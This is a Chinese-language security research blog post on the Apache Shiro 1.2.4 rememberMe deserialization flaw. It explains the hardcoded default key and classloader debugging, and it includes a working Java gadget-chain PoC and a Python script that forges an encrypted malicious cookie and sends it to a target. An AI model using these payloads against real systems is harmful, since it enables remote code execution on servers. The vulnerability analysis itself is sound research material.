环境搭建
github上下载源码,配上tomcat运行shiro-web
shiro-root pom.xml
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl替换为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
shiro-web pom.xml
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.38</version>
<scope>provided</scope>
</dependency>
反序列化
shiro在cookie的rememberMe中存放密钥加密的序列化数据,而1.2.4中的key是默认不变的,所以导致能任意修改cookie反序列化
encrypt
登陆时勾选rememberMe,调用栈
DelegatingSubject.login()
->DelegatingSubject.login()
->DelegatingSubject.onSuccessfulLogin()
->DelegatingSubject.rememberMeSuccessfulLogin()
->AbstractRememberMeManager.javaonSuccessfulLogin()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.convertPrincipalsToBytes()
->AbstractRememberMeManager.encrypt() #加密登陆信息
->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie
CookieRememberMeManager.javarememberSerializedIdentity()#156
放入cookie
key默认是
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
decrypt
用ysoserial的URLDNS测试一下,删掉session,替换rememberMe,顺着decrypt函数往上找,打个断点
部分调用栈
getRememberedSerializedIdentity读取cookie并base解码
返回加密的序列化数据,跟入convertBytesToPrincipals
然后对序列化数据解密,在deserialize中触发readobject()
dnslog
commons-collections:3.2.1 无法利用的原因
然后可以根据环境选择利用链,不过这里无法使用commons-collections:3.2.1
先简单看一下反序列化流程:
由readobject到readobject0,在switch中调用readOrdinaryObject
readOrdinaryObject(boolean unshared)方法读取类描述信息
其中readClassDesc返回一个ObjectStreamClass对象desc,它包含类的名字和序列版本号一些基本信息,如图
对desc进行实例化生成obj实例
然后在下面readSerialData就是具体读取序列化数据的内容,然后判断有没有重写readObject函数等等
现在进入readClassDesc具体看一下,switch分支进入readNonProxyDesc,主要看resolveClass这个函数,当前调用栈
ClassResolvingObjectInputStream.resolveClass()
这里需要注意这个resovleClass是重写父类ObjectInputStream的
原本的resolveClass是这样的
前面说过readClassDesc执行后会对其返回的结果进行实例化,那么这里resolveClass就是通过反射获取类具体实现的函数,不过ClassResolvingObjectInputStream使用的是ClassUtils.forName而不是Class.forName
先跟入ClassUtils.forName,这里首先使用了THREAD_CL_ACCESSOR.loadClass类加载器,这里手动F9就会发现fqcn变成了
[Lorg.apache.commons.collections.Transformer;
[L是一个JVM的标记,说明实际上这是一个数组,即Transformer[]
跟入loadClass,在这里,两种方式加载类,会发现cl.loadClass抛出ClassNotFound异常,而使用正常的Class.forName()却能正常加载,为什么
踩了很多坑,下面简单说一下
先继续进入loadClass,调用WebappClassLoaderBase.loadClass(),它首先会先尝试从本地cache中加载类,找不到就会从父加载器URLClassLoader中加载
从图中百度翻译可知...当本地cache或存储库中均无时,则通过父类加载器URLClassLoader.loadClass()加载(这里的WebappClassLoaderBase文件就用到最开始环境搭建那一块加载的tomcat-catalina了)
首先先进入findLoadClass0,从本地读取
this.binaryNameToPath会将name转化成path的形式然后放到resourceEntries.get去加载,但是这里的path是
/[Lorg/apache/commons/collections/Transformer;.class
怎么可能能找到正常的类呢(后面几个函数也是类似如此)
在本地找不到那就要使父加载器URLClassLoader来加载了,838行(到了这一步基本上跟普通的Class.forName一样了,只是加载器变成了URLClassLoader)
然后跟到这里,当前name还是数组形式
继续往下调试的时候发现这个name的数组特征被消除了
一路debug,到URLClassLoader这里,尝试从URLClassLoader加载器中获取
org/apache/commons/collections/Transformer.class
但是返回结果却是null,因为path虽然正常,但是可以看一下在URLClassLoader加载器中包含的path,发现当前的类加载器URLClassLoader中没有commons-collections-3.2.1.jar
所以会抛出ClassNotFound的异常
这是因为:
Tomcat和JDK的Classpath是不公用且不同的,Tomcat启动时,不会用JDK的Classpath
这里如果给他添加一个包路径
Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:/C:/Users/xc/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));
可以发现成功加载
所以并不是因为ClassLoader.loadClass不能加载数组,如这个java原生的数组就可以
而是因为:
- 数组形式会使得shiro想尝试从本地加载时,path也被赋上数组标识,导致无法从本地jar包中正常获取。
- 而URLClassLoader中是因为Tomcat和JDK的Classpath的不同,导致即使path正确,也无法找到对应class
如果这里把URLClassLoader替换成ParallelWebappClassLoader就不会报错了
3.2.1 payload
这里使用了这位师傅的利用链
java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> InvokerTransformer.transform()
-> java.lang.reflect.Method.invoke()
... templates gadgets ...
-> java.lang.Runtime.exec()
因为不能使用transformer数组,所以需要使用javassist技术还原字节码,也就要想办法触发TemplatesImpl.newTransformer()
这里还是选用InvokerTransformer,参数为
input=TemplatesImpl
和iMethodName=newTransformer
现在想办法触发InvokerTransformer.transform()
,有两种方法:
- lazyMap.get
- TransformingComparator.compare
但是TransformingComparator
在低版本的CommonsCollections3.2.1中还没实现Serializable接口所以无法序列化,那就LazyMap.get吧
缝合一下,poc:
public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec("calc.exe");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
byte[][] bytecode = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_bytecodes",bytecode);
setField(templates,"_name","test");
setField(templates,"_class",null);
setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,templates);
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.remove(templates);
setField(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
也可以用https://github.com/wh1t3p1g/ysoserial
#coding:utf-8
import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def dnslog(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
if __name__ == '__main__':
payload = dnslog('calc')
print("rememberMe={}".format(payload.decode()))
cookie = {
"rememberMe": payload.decode()
}
requests.get(url="http://localhost:8091/samples_web_war/", cookies=cookie)
参考:
https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe